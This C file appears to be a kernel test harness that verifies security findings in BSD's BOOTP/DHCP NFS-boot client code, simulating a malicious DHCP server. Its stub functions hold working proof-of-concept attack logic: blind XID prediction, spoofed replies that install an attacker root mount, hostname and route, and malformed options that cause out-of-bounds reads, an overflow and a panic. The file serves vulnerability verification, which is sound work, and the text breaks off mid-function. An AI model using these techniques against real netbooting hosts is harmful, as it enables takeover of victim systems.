/*
 * dfrig12_bootp.c -- DF-3044 / DF-3045 / DF-3046 verification harness.
 *
 * VERBATIM INTERPOSITION RIG (kernel-compiled; see build.sh):
 *   This file #includes the UNMODIFIED production source
 *   /usr/src/sys/vfs/nfs/bootp_subr.c (sha256-gated by build.sh against the
 *   audited tree) after renaming -- and only renaming, via cpp -- the
 *   external seam symbols bootp_subr.c calls out to:
 *     socreate sosetopt sobind sosend soreceive soclose   (socket layer)
 *     ifioctl rtrequest_global tsleep                     (net / sleep)
 *     setfs nfs_mountopts md_mount md_lookup_swap bcmp    (nfs-boot / libc)
 *   Every function the findings cite (allocifctx, bootpc_compose_query,
 *   bootpc_call, bootpc_fakeup_interface, bootpc_tag, bootpc_tag_helper,
 *   bootpc_received, bootpc_decode_reply, bootpc_init) is the production
 *   code, byte for byte.
 *
 * Harness-only knob (outside every cited line):
 *   #define BOOTP_TIMEOUT 12 -- bounds bootpc_call()'s retry loop so
 *   negative tests terminate; the shipped netboot default (retry forever,
 *   bootp_subr.c:906 is #ifdef'd out without it) is irrelevant to the
 *   findings under test.
 *
 * Attacker model (crafted-network-input class):
 *   A malicious BOOTP/DHCP server on the client's boot network.
 *   dfx_soreceive() injects its crafted replies.  Reply origin is
 *   6.6.6.6 : 9999 -- a port no DHCP server uses -- to demonstrate that
 *   acceptance never inspects the origin.  In "blind" mode the reply XID
 *   is computed purely from source-derived constants (seed 0xFFFF0000,
 *   +0x100/if, +1/compose), never from an observed packet.
 *
 * sysctl interface:
 *   sysctl -w kern.dfrig12=N    run test N:
 *     1  = DF-3046  TAG_OVERLOAD length not validated (OOB byte adopted)
 *     2  = DF-3044  blind predicted-XID spoof from :9999 accepted,
 *                   full client config adopted (hostname/root/swap/route)
 *     20 = control: wrong XID -> ignored
 *     21 = sniffed XID, origin port 9999
 *     22 = sniffed XID, origin port 67 (residual-risk documentation)
 *     3  = DF-3045  sdl_alen=17: selection accepts, hlen=17, bcmp reads
 *                   past chaddr[16], bcopy overruns into call.sname
 *     4  = DF-3044  predicted-XID ACK with TAG_SUBNETMASK len 3 ->
 *                   verbatim panic in bootpc_decode_reply (DoS proof)
 *     5  = DF-3045  hexncpy call-form canary primitive (contained)
 *     50 = DF-3045  in-situ sdl_alen=255 through bootpc_call -> fatal
 *   sysctl -n kern.dfrig12_status     markers of the last test
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <sys/uio.h>
#include <sys/proc.h>
#include <sys/mbuf.h>
#include <sys/fcntl.h>
#include <net/if.h>
#include <net/if_var.h>
#include <net/route.h>
#include <netinet/in.h>
#include <net/if_types.h>
#include <net/if_dl.h>

/* forward declarations of the interposition stubs (definitions below,
 * after the production source has been included) */
static int	dfx_socreate(int, struct socket **, int, int,
		    struct thread *td);
static int	dfx_sosetopt(struct socket *so, struct sockopt *sopt);
static int	dfx_sobind(struct socket *so, struct sockaddr *nam,
		    struct thread *td);
static int	dfx_sosend(struct socket *so, struct sockaddr *addr,
		    struct uio *uio, struct mbuf *top, struct mbuf *control,
		    int flags, struct thread *td);
static int	dfx_soreceive(struct socket *so, struct sockaddr **paddr,
		    struct uio *uio, struct mbuf **mp0,
		    struct mbuf **controlp, int *flagsp);
static int	dfx_soclose(struct socket *so, int fflags);
static int	dfx_tsleep(void *ident, int flags, const char *wmesg,
		    int timo);
static int	dfx_ifioctl(struct socket *so, u_long cmd, caddr_t data,
		    struct ucred *cred);
static int	dfx_rtrequest_global(int req, struct sockaddr *dst,
		    struct sockaddr *gateway, struct sockaddr *netmask,
		    int flags);
static int	dfx_bcmp(const void *a, const void *b, size_t len);
/* dfx_setfs / dfx_nfs_mountopts / dfx_md_mount / dfx_md_lookup_swap are
 * declared by nfsmountrpc.h, which bootp_subr.c includes with the seam
 * renames active */

/* ---------------- interposition seams (call-site renames only) ------- */
#define socreate         dfx_socreate
#define sosetopt         dfx_sosetopt
#define sobind           dfx_sobind
#define sosend           dfx_sosend
#define soreceive        dfx_soreceive
#define soclose          dfx_soclose
#define ifioctl          dfx_ifioctl
#define rtrequest_global dfx_rtrequest_global
#define tsleep           dfx_tsleep
#define bcmp             dfx_bcmp
#define setfs            dfx_setfs
#define nfs_mountopts    dfx_nfs_mountopts
#define md_mount         dfx_md_mount
#define md_lookup_swap   dfx_md_lookup_swap

/* harness-only bound on the retry loop (see header comment) */
#define BOOTP_TIMEOUT 12

#include "bootp_subr.c"		/* <-- VERBATIM PRODUCTION SOURCE */

/* ---------------- attacker / stub state ------------------------------- */
#define DF_PKTLEN ((int)sizeof(struct bootp_packet))

#define ATT_SRV_BE 0x06060606u		/* 6.6.6.6  (network order) */
#define ATT_IP_BE  0x06060642u		/* 6.6.6.66 */
#define ATT_GW_BE  0x06060601u		/* 6.6.6.1  */

#define DF_MODE_BLIND     1		/* xid from source constants only */
#define DF_MODE_WRONGXID  2		/* control: junk xid */
#define DF_MODE_SNIFF     3		/* xid echoed from broadcast query */

static int df_testno;
static struct socket df_so_dummy;
static struct bootp_packet df_pkt;	/* crafted attacker reply */
static struct bootp_packet df_sent;	/* last client query (sniffed) */
static int df_mode = DF_MODE_BLIND;
static int df_from_port = 9999;
static u_int32_t df_pred_base;
static int df_offered;
static int df_badmask;
static int df_send_count, df_sent_msgtype;
static u_int32_t df_sent_xid, df_first_xid;
static int df_have_first;
static u_char df_cl_mac[256];
static u_char df_cl_hlen;
static int df_name_reqs, df_name_fills;

static char df_rec_rootpath[128], df_rec_swappath[128];
static char df_rec_host[64], df_rec_rootopts[64], df_rec_swapopts[64];
static u_int32_t df_rec_root_srv, df_rec_swap_srv;
static int df_rec_mount_root, df_rec_mount_swap, df_rec_lookup_swap;
static u_int32_t df_rec_gw;
static int df_rec_route_adds, df_rec_route_flags;

static size_t df_bcmp_last_n;
static const void *df_bcmp_last_a, *df_bcmp_last_b;

/* fake interface plumbing for DF-3045 */
static struct ifnet *df_fake_ifp;
static struct ifaddrhead *df_fake_heads;
static struct ifaddr_container *df_fake_ifac;
static struct ifaddr *df_fake_ifa;
static struct sockaddr_dl *df_fake_sdl;

static char df_status[1024];

static void
df_mark(const char *fmt, ...)
{
	__va_list ap;

	kprintf("dfrig12: ");
	__va_start(ap, fmt);
	kvprintf(fmt, ap);
	__va_end(ap);
	kprintf("\n");
	strlcat(df_status, " | ", sizeof(df_status));
	__va_start(ap, fmt);
	kvsnprintf(df_status + strlen(df_status),
		   sizeof(df_status) - strlen(df_status), fmt, ap);
	__va_end(ap);
}

static void
df_reset_script(void)
{
	df_offered = 0;
	df_send_count = 0;
	df_sent_msgtype = 0;
	df_sent_xid = 0;
	df_first_xid = 0;
	df_have_first = 0;
	df_name_reqs = 0;
	df_name_fills = 0;
	df_badmask = 0;
	bzero(df_rec_rootpath, sizeof(df_rec_rootpath));
	bzero(df_rec_swappath, sizeof(df_rec_swappath));
	bzero(df_rec_host, sizeof(df_rec_host));
	bzero(df_rec_rootopts, sizeof(df_rec_rootopts));
	bzero(df_rec_swapopts, sizeof(df_rec_swapopts));
	df_rec_root_srv = df_rec_swap_srv = 0;
	df_rec_mount_root = df_rec_mount_swap = df_rec_lookup_swap = 0;
	df_rec_gw = 0;
	df_rec_route_adds = 0;
	df_rec_route_flags = 0;
	df_bcmp_last_n = 0;
	df_bcmp_last_a = df_bcmp_last_b = NULL;
}

/* ---------------- seam stubs ------------------------------------------ */
static int
dfx_socreate(int dom, struct socket **aso, int type, int proto,
	     struct thread *td)
{
	*aso = &df_so_dummy;
	return 0;
}

static int
dfx_sosetopt(struct socket *so, struct sockopt *sopt)
{
	return 0;
}

static int
dfx_sobind(struct socket *so, struct sockaddr *nam, struct thread *td)
{
	return 0;
}

static int
dfx_soclose(struct socket *so, int fflags)
{
	return 0;
}

static int
dfx_tsleep(void *ident, int flags, const char *wmesg, int timo)
{
	return 0;
}

static int
dfx_ifioctl(struct socket *so, u_long cmd, caddr_t data, struct ucred *cred)
{
	return 0;
}

static int
dfx_rtrequest_global(int req, struct sockaddr *dst, struct sockaddr *gateway,
		     struct sockaddr *netmask, int flags)
{
	struct sockaddr_in *gw = (struct sockaddr_in *)gateway;

	if (req == RTM_ADD && gw != NULL) {
		df_rec_route_adds++;
		df_rec_route_flags = flags;
		df_rec_gw = gw->sin_addr.s_addr;
	}
	return 0;
}

static int
dfx_bcmp(const void *a, const void *b, size_t len)
{
	df_bcmp_last_n = len;
	df_bcmp_last_a = a;
	df_bcmp_last_b = b;
	if (len > 16)
		kprintf("DF3045: reply matcher bcmp len=%d: chaddr member "
			"is 16 bytes -> reads %d byte(s) past chaddr[15] "
			"(in-struct, into sname/file/vend)\n",
			(int)len, (int)len - 16);
	return memcmp(a, b, len) != 0;
}

int
dfx_setfs(struct sockaddr_in *addr, char *path, char *p)
{
	if (df_rec_rootpath[0] == '\0')
		strlcpy(df_rec_rootpath, p, sizeof(df_rec_rootpath));
	else
		strlcpy(df_rec_swappath, p, sizeof(df_rec_swappath));
	strlcpy(df_rec_host, p, sizeof(df_rec_host));	/* host:path prefix */
	addr->sin_len = sizeof(*addr);
	addr->sin_family = AF_INET;
	addr->sin_addr.s_addr = ATT_SRV_BE;	/* "6.6.6.6" in our strings */
	return 1;
}

void
dfx_nfs_mountopts(struct nfs_args *args, char *p)
{
	if (p == NULL)
		return;
	if (df_rec_rootopts[0] == '\0')
		strlcpy(df_rec_rootopts, p, sizeof(df_rec_rootopts));
	else
		strlcpy(df_rec_swapopts, p, sizeof(df_rec_swapopts));
}

int
dfx_md_mount(struct sockaddr_in *mdsin, char *path, u_char *fhp,
	     int *fhsizep, struct nfs_args *args, struct thread *td)
{
	if (df_rec_mount_root == 0) {
		df_rec_mount_root = 1;
		df_rec_root_srv = mdsin->sin_addr.s_addr;
	} else {
		df_rec_mount_swap = 1;
		df_rec_swap_srv = mdsin->sin_addr.s_addr;
	}
	if (fhsizep)
		*fhsizep = 16;
	if (fhp)
		memset(fhp, 0xAB, 16);
	return 0;
}

int
dfx_md_lookup_swap(struct sockaddr_in *mdsin, char *path, u_char *fhp,
		   int *fhsizep, struct nfs_args *args, struct thread *td)
{
	df_rec_lookup_swap = 1;
	if (fhsizep)
		*fhsizep = 16;
	return 0;
}

/* craft a BOOTREPLY with attacker values */
static void
df_craft_reply(u_int32_t xid_raw, u_char hlen, const u_char *mac, int msgtype)
{
	u_char *v;
	u_int32_t be;
	int n;

	bzero(&df_pkt, sizeof(df_pkt));
	df_pkt.op = BOOTP_REPLY;
	df_pkt.htype = 1;
	df_pkt.hlen = hlen;
	bcopy(mac, df_pkt.chaddr, hlen);
	df_pkt.xid = xid_raw;
	df_pkt.yiaddr.s_addr = ATT_IP_BE;
	df_pkt.siaddr.s_addr = ATT_SRV_BE;

	v = df_pkt.vend;
	*v++ = 99; *v++ = 130; *v++ = 83; *v++ = 99;	/* RFC1048 cookie */
	*v++ = TAG_DHCP_MSGTYPE; *v++ = 1; *v++ = msgtype;
	if (msgtype == DHCP_OFFER) {
		*v++ = TAG_DHCP_SERVERID; *v++ = 4;
		be = ATT_SRV_BE;
		bcopy(&be, v, 4); v += 4;
	} else {
		/* DHCP_ACK carrying the full attacker config */
		if (df_badmask) {
			*v++ = TAG_SUBNETMASK; *v++ = 3;
			*v++ = 255; *v++ = 255; *v++ = 0;	/* len 3! */
		} else {
			*v++ = TAG_SUBNETMASK; *v++ = 4;
			be = htonl(0xffff0000u);		/* 255.255.0.0 */
			bcopy(&be, v, 4); v += 4;
		}
		*v++ = TAG_ROUTERS; *v++ = 4;
		be = ATT_GW_BE;
		bcopy(&be, v, 4); v += 4;
		n = strlen("6.6.6.6:/pwn3d");
		*v++ = TAG_ROOT; *v++ = n;
		bcopy("6.6.6.6:/pwn3d", v, n); v += n;
		n = strlen("pwn3d");
		*v++ = TAG_HOSTNAME; *v++ = n;
		bcopy("pwn3d", v, n); v += n;
		n = strlen("6.6.6.6:/swpwn");
		*v++ = TAG_SWAP; *v++ = n;
		bcopy("6.6.6.6:/swpwn", v, n); v += n;
		*v++ = TAG_SWAPSIZE; *v++ = 4;
		be = htonl(65536);
		bcopy(&be, v, 4); v += 4;
		n = strlen("0wn3d!!");
		*v++ = TAG_COOKIE; *v++ = n;
		bcopy("0wn3d!!", v, n); v += n;
	}
	*v++ = TAG_END;
}

static int
dfx_sosend(struct socket *so, struct sockaddr *addr, struct uio *uio,
	   struct mbuf *top, struct mbuf *control, int flags,
	   struct thread *td)
{
	int n;
	u_char *v;

	n = uio->uio_resid;
	if (n > DF_PKTLEN)
		n = DF_PKTLEN;
	bzero(&df_sent, sizeof(df_sent));
	uiomove((caddr_t)&df_sent, n, uio);
	df_send_count++;
	df_sent_xid = df_sent.xid;
	if (!df_have_first) {
		df_first_xid = df_sent_xid;
		df_have_first = 1;
	}
	df_sent_msgtype = 0;
	v = df_sent.vend;
	if (v[0] == 99 && v[1] == 130 && v[2] == 83 && v[3] == 99) {
		v += 4;
		while (v < df_sent.vend + sizeof(df_sent.vend) - 1 &&
		       *v != TAG_END) {
			if (*v == TAG_PAD) {
				v++;
				continue;
			}
			if (*v == TAG_DHCP_MSGTYPE && v[1] == 1) {
				df_sent_msgtype = v[2];
				break;
			}
			v += 2 + v[1];
		}
	}
	kprintf("dfrig12: client broadcasts query #%d xid_raw=%08x "
		"msgtype=%d (any same-L2 host hears it)\n",
		df_send_count, df_sent_xid, df_sent_msgtype);
	return 0;
}

static int
dfx_soreceive(struct socket *so, struct sockaddr **paddr, struct uio *uio,
	      struct mbuf **mp0, struct mbuf **controlp, int *flagsp)
{
	u_int32_t xid = 0;
	int deliver = 0, type = 0;

	if (paddr != NULL)
		df_name_reqs++;		/* caller wants the origin ... */

	if (df_mode == DF_MODE_WRONGXID) {
		if (df_offered == 0) {
			xid = 0x41414141u; type = DHCP_OFFER;
			deliver = 1; df_offered = 1;
		} else if (df_offered == 1 && df_sent_msgtype == DHCP_REQUEST) {
			xid = 0x41414141u; type = DHCP_ACK;
			deliver = 1; df_offered = 2;
		}
	} else if (df_mode == DF_MODE_BLIND) {
		/* bootpc_compose_query (:1194-1195) bumps xid only when the
		 * ifctx is UNRESOLVED; the OFFERED->REQUEST recompose reuses
		 * the DISCOVER xid (observed on the guest: both ffff0001).
		 * Model: OFFER and ACK share base+1. */
		if (df_offered == 0) {
			xid = htonl(df_pred_base + 1); type = DHCP_OFFER;
			deliver = 1; df_offered = 1;
		} else if (df_offered == 1 &&
			   df_sent_msgtype == DHCP_REQUEST) {
			xid = htonl(df_pred_base + 1); type = DHCP_ACK;
			deliver = 1; df_offered = 2;
		}
	} else {			/* DF_MODE_SNIFF */
		if (df_offered == 0) {
			xid = df_sent_xid; type = DHCP_OFFER;
			deliver = 1; df_offered = 1;
		} else if (df_offered == 1 &&
			   df_sent_msgtype == DHCP_REQUEST) {
			xid = df_sent_xid; type = DHCP_ACK;
			deliver = 1; df_offered = 2;
		}
	}

	if (!deliver) {
		/* The real soreceive() blocks in tsleep for up to the 1s
		 * SO_RCVTIMEO; that opaque call is also what makes the
		 * production `while (time_uptime < atimo)` loop in
		 * bootpc_call re-load the (non-volatile, sys/time.h:163)
		 * time_uptime each iteration.  Our instant EWOULDBLOCK
		 * return would let GCC hoist that load and spin forever,
		 * so yield through a real external call to keep the loop
		 * live exactly like the blocking socket path does. */
		lwkt_yield();
		return EWOULDBLOCK;
	}

	/* origin: attacker host, non-server port -- never validated by
	 * the shipped acceptance test (bootp_subr.c:838-848) */
	if (paddr != NULL) {
		struct sockaddr_in *fs;

		fs = kmalloc(sizeof(*fs), M_SONAME, M_WAITOK | M_ZERO);
		fs->sin_len = sizeof(*fs);
		fs->sin_family = AF_INET;
		fs->sin_addr.s_addr = ATT_SRV_BE;
		fs->sin_port = htons(df_from_port);
		*paddr = (struct sockaddr *)fs;
		df_name_fills++;
	}

	df_craft_reply(xid, df_cl_hlen, df_cl_mac, type);
	kprintf("dfrig12: ATTACKER injects %s xid_raw=%08x origin=6.6.6.6:%d "
		"yiaddr=6.6.6.66 siaddr=6.6.6.6\n",
		type == DHCP_OFFER ? "OFFER" : "ACK", xid, df_from_port);
	return uiomove((caddr_t)&df_pkt, DF_PKTLEN, uio);
}

/* ---------------- attacker prediction model ---------------------------
 * Replicates bootpc_init()'s interface walk (bootp_subr.c:1552-1573) to
 * compute, WITHOUT observing any packet, the XID each interface context
 * will use: allocifctx assigns gctx->xid (seed ~0xFFFF = 0xFFFF0000 at
 * :1538, +0x100 per interface at :435) and the first compose_query adds
 * +1 (:1194-1195).  Also harvests the client MAC -- knowledge any
 * same-L2 host has (it is broadcast in every query) or inventory holds. */
static int
df_predict(void)
{
	struct ifnet *ifp;
	struct ifaddr_container *ifac;
	struct sockaddr_dl *sdl;
	int n = 0;

	bzero(df_cl_mac, sizeof(df_cl_mac));
	df_cl_hlen = 6;
	ifnet_lock();
	TAILQ_FOREACH(ifp, &ifnetlist, if_link) {
		if ((ifp->if_flags &
		     (IFF_LOOPBACK | IFF_POINTOPOINT | IFF_BROADCAST)) !=
		    IFF_BROADCAST)
			continue;
		if (n == 0) {
			TAILQ_FOREACH(ifac, &ifp->if_addrheads[mycpuid],
				      ifa_link) {
				struct ifaddr *ifa = ifac->ifa;

				if (ifa->ifa_addr->sa_family == AF_LINK &&
				    (sdl = ((struct sockaddr_dl *)
					    ifa->ifa_addr)) != NULL &&
				    sdl->sdl_type == IFT_ETHER) {
					int l = sdl->sdl_alen;

					if (l > (int)sizeof(df_cl_mac))
						l = sizeof(df_cl_mac);
					bcopy(LLADDR(sdl), df_cl_mac, l);
					df_cl_hlen = sdl->sdl_alen;
					break;
				}
			}
		}
		n++;
	}
	ifnet_unlock();
	df_pred_base = 0xFFFF0000u;	/* + 0x100 * 0 (first broadcast ifp) */
	return n;
}

/* ---------------- fake IFT_ETHER interface with attacker sdl_alen ----- */
static void
df_fake_ifnet(int alen)
{
	int i;

	df_fake_ifp = kmalloc(sizeof(*df_fake_ifp), M_TEMP,
			      M_WAITOK | M_ZERO);
	df_fake_heads = kmalloc(sizeof(*df_fake_heads) * ncpus, M_TEMP,
				M_WAITOK | M_ZERO);
	df_fake_ifac = kmalloc(sizeof(*df_fake_ifac), M_TEMP,
			       M_WAITOK | M_ZERO);
	df_fake_ifa = kmalloc(sizeof(*df_fake_ifa), M_TEMP,
			      M_WAITOK | M_ZERO);
	df_fake_sdl = kmalloc(sizeof(*df_fake_sdl) + 256, M_TEMP,
			      M_WAITOK | M_ZERO);
	df_fake_sdl->sdl_len = sizeof(*df_fake_sdl);
	df_fake_sdl->sdl_family = AF_LINK;
	df_fake_sdl->sdl_index = 1;
	df_fake_sdl->sdl_type = IFT_ETHER;	/* the only selection filter */
	df_fake_sdl->sdl_nlen = 0;
	df_fake_sdl->sdl_alen = alen;		/* UNVALIDATED by :1046-1053 */
	for (i = 0; i < alen && i < 256; i++)
		LLADDR(df_fake_sdl)[i] = 0x40 + i;
	df_fake_ifa->ifa_addr = (struct sockaddr *)df_fake_sdl;
	df_fake_ifac->ifa = df_fake_ifa;
	for (i = 0; i < ncpus; i++)
		TAILQ_FIRST(&df_fake_heads[i]) = df_fake_ifac;
	df_fake_ifp->if_addrheads = df_fake_heads;
}

static void
df_fake_ifnet_free(void)
{
	if (df_fake_ifp) {
		kfree(df_fake_ifp, M_TEMP);
		df_fake_ifp = NULL;
	}
	if (df_fake_heads) {
		kfree(df_fake_heads, M_TEMP);
		df_fake_heads = NULL;
	}
	if (df_fake_ifac) {
		kfree(df_fake_ifac, M_TEMP);
		df_fake_ifac = NULL;
	}
	if (df_fake_ifa) {
		kfree(df_fake_ifa, M_TEMP);
		df_fake_ifa = NULL;
	}
	if (df_fake_sdl) {
		kfree(df_fake_sdl, M_TEMP);
		df_fake_sdl = NULL;
	}
}

/* ---------------- save/restore of globals bootpc_init touches --------- */
static char sv_hostname[MAXHOSTNAMELEN];
static char sv_cookie[128];
static int sv_valid;
static struct nfsv3_diskless *sv_nd;

static void
df_save_global_state(void)
{
	bcopy(hostname, sv_hostname, sizeof(sv_hostname));
	bcopy(bootp_cookie, sv_cookie, sizeof(sv_cookie));
	sv_valid = nfs_diskless_valid;
	if (sv_nd == NULL)
		sv_nd = kmalloc(sizeof(*sv_nd), M_TEMP, M_WAITOK | M_ZERO);
	bcopy(&nfsv3_diskless, sv_nd, sizeof(*sv_nd));
}

static void
df_restore_global_state(void)
{
	bcopy(sv_hostname, hostname, sizeof(sv_hostname));
	bcopy(sv_cookie, bootp_cookie, sizeof(sv_cookie));
	nfs_diskless_valid = sv_valid;
	bcopy(sv_nd, &nfsv3_diskless, sizeof(nfsv3_diskless));
}

/* ---------------- DF-3046: TAG_OVERLOAD length not validated ---------- */
static void
df_test1(void)
{
	struct bootpc_tagcontext *tc;
	u_char *reg;
	u_char *pkt;
	int i;

	/* (a) primitive: region whose LAST option is TAG_OVERLOAD,len=0 */
	reg = kmalloc(32, M_TEMP, M_WAITOK | M_ZERO);
	tc = kmalloc(sizeof(*tc), M_TEMP, M_WAITOK | M_ZERO);
	reg[0] = 53; reg[1] = 1; reg[2] = 5;		/* dhcp msgtype */
	reg[3] = 12; reg[4] = 3; reg[5] = 'a';		/* hostname */
	reg[6] = 'b'; reg[7] = 'c';
	reg[8] = TAG_OVERLOAD; reg[9] = 0;		/* len byte IS region end */
	for (i = 10; i < 32; i++)
		reg[i] = 0xA5;				/* guard */
	bzero(tc, sizeof(*tc));
	bootpc_tag_helper(tc, reg, 10, TAG_END);	/* VERBATIM */
	df_mark("DF3046 T1a: overload=0x%02x (planted byte past ej=0xa5) "
		"badopt=%d", tc->overload, tc->badopt);

	/* (b) TAG_OVERLOAD with len != 1 mid-region */
	bzero(reg, 32);
	bzero(tc, sizeof(*tc));
	reg[0] = TAG_OVERLOAD; reg[1] = 3;
	reg[2] = 2; reg[3] = 7; reg[4] = 9;		/* RFC 2131: len MUST be 1 */
	bootpc_tag_helper(tc, reg, 5, TAG_END);		/* VERBATIM */
	df_mark("DF3046 T1b: len=3 overload=0x%02x (first value byte taken, "
		"len ignored)", tc->overload);

	/* (c) in-packet: zero-length TAG_OVERLOAD with its length byte as
	 * the FINAL byte of a full-size reply (replylen == sizeof(struct
	 * bootp_packet) == 1460; the walk end ej lands exactly on the byte
	 * past the struct) -> overload adopts the first GUARD byte */
	pkt = kmalloc(DF_PKTLEN + 32, M_TEMP, M_WAITOK | M_ZERO);
	bzero(tc, sizeof(*tc));
	pkt[offsetof(struct bootp_packet, vend) + 0] = 99;
	pkt[offsetof(struct bootp_packet, vend) + 1] = 130;
	pkt[offsetof(struct bootp_packet, vend) + 2] = 83;
	pkt[offsetof(struct bootp_packet, vend) + 3] = 99;
	pkt[offsetof(struct bootp_packet, vend) + 4] = 53;
	pkt[offsetof(struct bootp_packet, vend) + 5] = 1;
	pkt[offsetof(struct bootp_packet, vend) + 6] = 5;
	/* struct is 1460 bytes: vend ends at 1458, +2 tail padding; place
	 * [TAG_OVERLOAD,0] at 1458/1459 (last two bytes of the datagram) */
	pkt[1458] = TAG_OVERLOAD;
	pkt[1459] = 0;
	for (i = 0; i < 32; i++)
		pkt[DF_PKTLEN + i] = 0x03;		/* guard past packet */
	bootpc_tag(tc, (struct bootp_packet *)pkt, DF_PKTLEN,
		   TAG_HOSTNAME);			/* VERBATIM */
	df_mark("DF3046 T1c: full-size vend-end overload=0x%02x (guard "
		"byte at bp+sizeof read, badopt=%d)", tc->overload,
		tc->badopt);

	/* (c2) mid-size replylen: len byte is final byte of vend[] itself
	 * -> reads the struct tail padding (still past the vend member) */
	bzero(pkt, DF_PKTLEN + 32);
	bzero(tc, sizeof(*tc));
	pkt[offsetof(struct bootp_packet, vend) + 0] = 99;
	pkt[offsetof(struct bootp_packet, vend) + 1] = 130;
	pkt[offsetof(struct bootp_packet, vend) + 2] = 83;
	pkt[offsetof(struct bootp_packet, vend) + 3] = 99;
	pkt[offsetof(struct bootp_packet, vend) + 1220] = TAG_OVERLOAD;
	pkt[offsetof(struct bootp_packet, vend) + 1221] = 0;
	pkt[1458] = 0xEE;				/* tail padding byte */
	pkt[1459] = 0xDD;
	bootpc_tag(tc, (struct bootp_packet *)pkt, 1458,
		   TAG_HOSTNAME);			/* VERBATIM */
	df_mark("DF3046 T1c2: replylen=1458 vend-end overload=0x%02x "
		"(tail-padding byte at bp+1458, past vend[1221])",
		tc->overload);

	/* (d) sname-walk variant: valid TAG_OVERLOAD=SNAME in vend, then
	 * [52,0] as final two bytes of sname[64] -> *j reads bp->file[0],
	 * the adjacent in-struct field, which we plant */
	bzero(pkt, DF_PKTLEN + 32);
	bzero(tc, sizeof(*tc));
	pkt[offsetof(struct bootp_packet, vend) + 0] = 99;
	pkt[offsetof(struct bootp_packet, vend) + 1] = 130;
	pkt[offsetof(struct bootp_packet, vend) + 2] = 83;
	pkt[offsetof(struct bootp_packet, vend) + 3] = 99;
	pkt[offsetof(struct bootp_packet, vend) + 4] = TAG_OVERLOAD;
	pkt[offsetof(struct bootp_packet, vend) + 5] = 1;
	pkt[offsetof(struct bootp_packet, vend) + 6] = OVERLOAD_SNAME;
	pkt[offsetof(struct bootp_packet, sname) + 62] = TAG_OVERLOAD;
	pkt[offsetof(struct bootp_packet, sname) + 63] = 0;
	pkt[offsetof(struct bootp_packet, file) + 0] = 0x5C;
	bootpc_tag(tc, (struct bootp_packet *)pkt, 300,
		   TAG_HOSTNAME);			/* VERBATIM */
	df_mark("DF3046 T1d: sname-end overload=0x%02x (== planted "
		"bp->file[0]=0x5c, adjacent field)", tc->overload);
	/* attribution repeat with a different planted byte */
	bzero(tc, sizeof(*tc));
	pkt[offsetof(struct bootp_packet, file) + 0] = 0x77;
	bootpc_tag(tc, (struct bootp_packet *)pkt, 300,
		   TAG_HOSTNAME);			/* VERBATIM */
	df_mark("DF3046 T1e: repeat with file[0]=0x77 -> overload=0x%02x",
		tc->overload);

	/* (f) file-walk variant: TAG_OVERLOAD=FILE in vend, [52,0] as the
	 * final two bytes of file[128] -> *j reads bp->vend[0], i.e. the
	 * first cookie byte (99) -- always-attacker-influenced via cookie */
	bzero(tc, sizeof(*tc));
	pkt[offsetof(struct bootp_packet, vend) + 4] = TAG_OVERLOAD;
	pkt[offsetof(struct bootp_packet, vend) + 5] = 1;
	pkt[offsetof(struct bootp_packet, vend) + 6] = OVERLOAD_FILE;
	pkt[offsetof(struct bootp_packet, file) + 126] = TAG_OVERLOAD;
	pkt[offsetof(struct bootp_packet, file) + 127] = 0;
	bootpc_tag(tc, (struct bootp_packet *)pkt, 300,
		   TAG_HOSTNAME);			/* VERBATIM */
	df_mark("DF3046 T1f: file-end overload=0x%02x (== vend[0], the "
		"cookie byte 99)", tc->overload);

	kfree(reg, M_TEMP);
	kfree(tc, M_TEMP);
	kfree(pkt, M_TEMP);
}

/* ---------------- DF-3044: blind predicted-XID spoof ------------------ */
static void
df_test2(int mode, int port)
{
	int nif;
	char was_hostname[MAXHOSTNAMELEN];

	bcopy(hostname, was_hostname, sizeof(was_hostname));
	df_save_global_state();
	df_reset_script();
	df_mode = mode;
	df_from_port = port;
	nif = df_predict();
	kprintf("dfrig12: attacker model: %d broadcast ifp(s); predicted "
		"DISCOVER xid=%08x (seed 0xFFFF0000 + 0 per if + 1 compose); "
		"MAC known a priori; NO packet ever observed\n",
		nif, df_pred_base + 1);

	bootpc_init();				/* VERBATIM end-to-end */

	if (strcmp(hostname, "pwn3d") == 0)
		df_mark("DF3044: hostname ADOPTED 'pwn3d' (attacker "
			"TAG_HOSTNAME)");
	else
		df_mark("DF3044: hostname NOT adopted (stays '%s')",
			was_hostname);
	if (df_rec_mount_root && df_rec_root_srv == ATT_SRV_BE)
		df_mark("DF3044: root NFS mount ADOPTED from attacker "
			"6.6.6.6 path=%s", df_rec_rootpath);
	else
		df_mark("DF3044: root mount NOT adopted (rec=%d)",
			df_rec_mount_root);
	if (df_rec_mount_swap && df_rec_swap_srv == ATT_SRV_BE)
		df_mark("DF3044: swap NFS mount ADOPTED from 6.6.6.6 "
			"path=%s", df_rec_swappath);
	if (df_rec_route_adds && df_rec_gw == ATT_GW_BE)
		df_mark("DF3044: default route ADOPTED via attacker "
			"6.6.6.1 flags=0x%x", df_rec_route_flags);
	else
		df_mark("DF3044: default route NOT adopted (adds=%d)",
			df_rec_route_adds);
	df_mark("DF3044: client 1st xid_raw=%08x vs predicted %08x: %s",
		df_first_xid, htonl(df_pred_base + 1),
		df_first_xid == htonl(df_pred_base + 1) ? "MATCH" : "differ");
	df_mark("DF3044: soreceive origin requested %d time(s), filled %d "
		"(bootp_subr.c:807 passes NULL name)", df_name_reqs,
		df_name_fills);
	df_restore_global_state();
}

/* ---------------- DF-3045: unvalidated sdl_alen ----------------------- */
static void
df_test3(int alen)
{
	struct bootpc_globalcontext *gctx;
	struct bootpc_ifcontext *ifctx;
	int error, i;
	u_char *ch;

	gctx = kmalloc(sizeof(*gctx), M_TEMP, M_WAITOK | M_ZERO);
	gctx->xid = ~0xFFFF;			/* mimic bootp_init:1538 */
	gctx->starttime = time_uptime;		/* mimic bootpc_init:1539 */
	ifctx = allocifctx(gctx);		/* VERBATIM: xid=0xFFFF0000 */
	df_fake_ifnet(alen);
	ifctx->ifp = df_fake_ifp;
	strlcpy(ifctx->ireq.ifr_name, "fak0", sizeof(ifctx->ireq.ifr_name));

	bootpc_fakeup_interface(ifctx, gctx, curthread);	/* VERBATIM */
	if (ifctx->sdl == df_fake_sdl)
		df_mark("DF3045: selection at :1046-1053 ACCEPTED "
			"IFT_ETHER sdl_alen=%d (>16, never checked)", alen);
	else {
		df_mark("DF3045: selection REJECTED sdl_alen=%d "
			"(fix effective)", alen);
